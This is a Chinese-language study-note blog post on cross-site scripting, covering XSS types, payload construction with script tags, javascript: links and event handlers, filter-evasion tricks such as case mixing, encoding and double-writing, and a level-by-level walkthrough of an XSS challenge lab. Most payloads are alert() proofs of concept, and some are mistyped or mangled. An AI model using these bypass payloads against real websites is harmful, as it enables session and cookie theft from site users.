2025年网络安全笔记-99-渗透-XSS

网络安全笔记-99-渗透-XSSXSS 跨站脚本攻击 XSS Cross Site Scripting 是一种针对网站应用程序的安全漏洞攻击技术 是代码注入的一种 它允许恶意用户将代码注入网页 其他用户在浏览网页时就会收到影响 危害 盗取用户账号 窃取用户 cookie 劫持用户会话 刷流量 执行弹窗广告 传播蠕虫病毒

大家好,我是讯享网,很高兴认识大家。

XSS跨站脚本攻击

XSS(Cross-Site Scripting)。是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会收到影响

危害:

  1. 盗取用户账号
  2. 窃取用户cookie
  3. 劫持用户会话
  4. 刷流量,执行弹窗广告
  5. 传播蠕虫病毒

分类

  1. 反射型

    ​ 非持久型的,参数型跨站脚本。用户访问恶意链接,客户端浏览器执行恶意代码。

    ​ 一般容易出现在搜索框,输入框,url参数中

  2. 存储型

    ​ 持久性的,恶意代码被写进数据库或文件永久保存。

  3. DOM型

    ​ 基于DOM文档对象的攻击。修改受害者浏览器页面的DOM树。DOM树一旦被修改,整个页面的DOM树都会重新构建。

构造

1. HTML标签构造

<script>alert(/xss/)</script>

2. 伪协议:JavaScript

使用伪协议的方式构造XSS

<a href="javascript:alert(/xss/)">click</a>

也可以使用img标签:此方法只在低版本IE浏览器:IE6下测试成功:

<img href="javascript:alert(/xss/)">

3. 事件

通过事件函数来驱动,从而触发XSS攻击。

  • windows事件:对Windows对象触发的事件
  • Form事件:HTML表单内的动作触发事件
  • Keyboard事件:键盘事件
  • Mouse事件:鼠标事件
  • Media事件:多媒体事件(,,,…)
属性 类型 描述
onerror Windows 当错误发生时运行脚本
onfocus Windows 当窗口获得焦点时运行脚本
onfocus Form 当元素获得焦点时运行脚本
onforminput Form 当表单获得用户输入时运行脚本
oninput Form 当元素获得用户输入时运行脚本
onsubmit Form 当提交表单时运行脚本
onkeydonw Keyboard 当按下按键时运行脚本
onkeyup Keyboard 当松开按键时运行脚本
onkeypress Keyboard 当按下并松开按键时运行脚本
onclick Mouse 当单击鼠标时运行脚本
onmousemove Mouse 当鼠标指针移动时运行脚本
onmousedown Mouse 当按下鼠标按钮时运行脚本
onmouseover Mouse 当鼠标指针移至元素之上时运行脚本
onerror Media 当在元素加载期间发生错误时运行脚本
onplay Media 当媒介数据将要开始播放时运行脚本
onloadstart Media 当浏览器开始加载媒介数据时运行脚本
onseeking Media 当媒介元素的定位属性为真且定位已开始时运行脚本

eg:

<img src="./smile.jpg" onmouseover='alert(/xss/)'>

<input type="text" onkeydown='aler(/xss/)'>

<input type="text" onkeyup='aler(/xss/)'>

<input type="buttont" onclick='aler(/xss/)'>

<input type="text" onfocus='alert(/xss/)' autofocus='autofocus'> #属性规定当页面加载时 元素应该自动获得焦点

<img src="#" onerror='alert(/xss/)'>

<svg onload='alert(/xss/)'>

XSS 的变形

大小写转换

HTML标签对大小写不敏感。

JavaScript对大小写敏感。Javascript使用Unicode字符集。

<scRIPT>alert(/xss/)<ScriPT/>

<a HreF="javaScript:alert(/xss/)">click me</a>

引号的使用

HTML对引号不敏感。

<img src="#" onerror="alert(/xss/)">

<img src='#' onerror="alert(/xss/)">

<img src=# onerror="alert(/xss/)">

利用左斜线”/“代替空格

<img/sRc='#'/Onerror="alert(xss)"/>

添加回车或者制表符
<a HreF=" j a v a S c r i p t :alert(xss)>click</a> " 

讯享网
转码
HTML实体字符:

以&开头,以分号结尾。例如:< 的html字符实体是:"&lt;",>的html字符实体是:"&gt;"

字符编码

十进制,十六进制编码。样式为 ”&#数值;“。

例如:< 的十进制编码为:"&#60;" ,十六进制编码为:"&#x3C;"

> 的十进制编码为:"&#62;" ,十六进制编码为:"&#x3E;"

JS 编码

JS提供了多种字符编码策略:

  • 八进制:三个八进制数字,个数不够前面补0,例如:”e“为”\145“
  • 两位十六进制:两个十六进制数字,例如:”e“为”\x65“
  • 四位十六进制:四个十六进制数字,个数不够前面补0,例如:”e“为”\u0065“
拆分跨站
讯享网<script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</script> 
双写绕过

<scr<scritp>ipt>

调用shellcode

1. 远程调用

通过script标签的src属性进行调用。

这是比较常用的方式。


讯享网

>
2. windows.location.hash

获取url中的锚点内容(带#号)

?submit=submit&xsscode=<script>eval(location.hash.substr(1)</script>#alert(/xss/)

3. XSS Downloader

XSS下载器就是将XSS代码写在网页中,然后通过Ajax技术加载网页中的XSS代码。

在使用XSS下载器之前,我们需要自己有一个网页。

4.备选存储

存在cookie中,refer,Flash共享对象等。。。

XSS chanllenges:通关挑战

image-20201221171020890

测试代码:<script " ’ OOnn>

【01】

url参数中:

name=

【02】

"> 闭合

">

【03】

搜索框输入测试代码,然后查看网页源代码。发现value为单引号闭合。

创造事件:

’ οnmοuseοver='alert(/xss/)

【04】将03的单引号改为双引号即可

"οnmοuseοver="alert(/xss/)

【05】

image-20201221175901126

查看页面源代码发现:字母转为小写,<script 被替换为<scr_ipt,on 被替换为o_n

"><a href="javascript:alert(/xss/)">click</a>

【06】

查看页面源代码发现:<script 被替换为<scr_ipt,On没有被替换

" Onmouseover="alert(/xss/) 

【07】

scirpt没有了,OOnn只剩下on

讯享网" oonnmouseover="alert(/xss/) 

【08】

javasc&#114;ipt:alert(/xss/) 

【09】

讯享网javasc&#114;ipt:alert('http://') 

【10】

查看页面源代码,发现有隐藏输入框,携带参数,闭合该元素。

xss/level10.php?t_sort=click" type="text" onmouseover="alert(/xss/) 

【11】

t_ref字段猜测可能是refer字段。

修改refer字段即可。

讯享网click" type="button" onclick="alert(/xss/) 

【12】

ua字段:userAgent

click" type="text" onmouseover="alert(/xss/) 

【13】

cookie

讯享网user=click" type="button" onclick="alert(/xss/) 
小讯
上一篇 2025-03-20 14:03
下一篇 2025-02-13 13:09

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/24449.html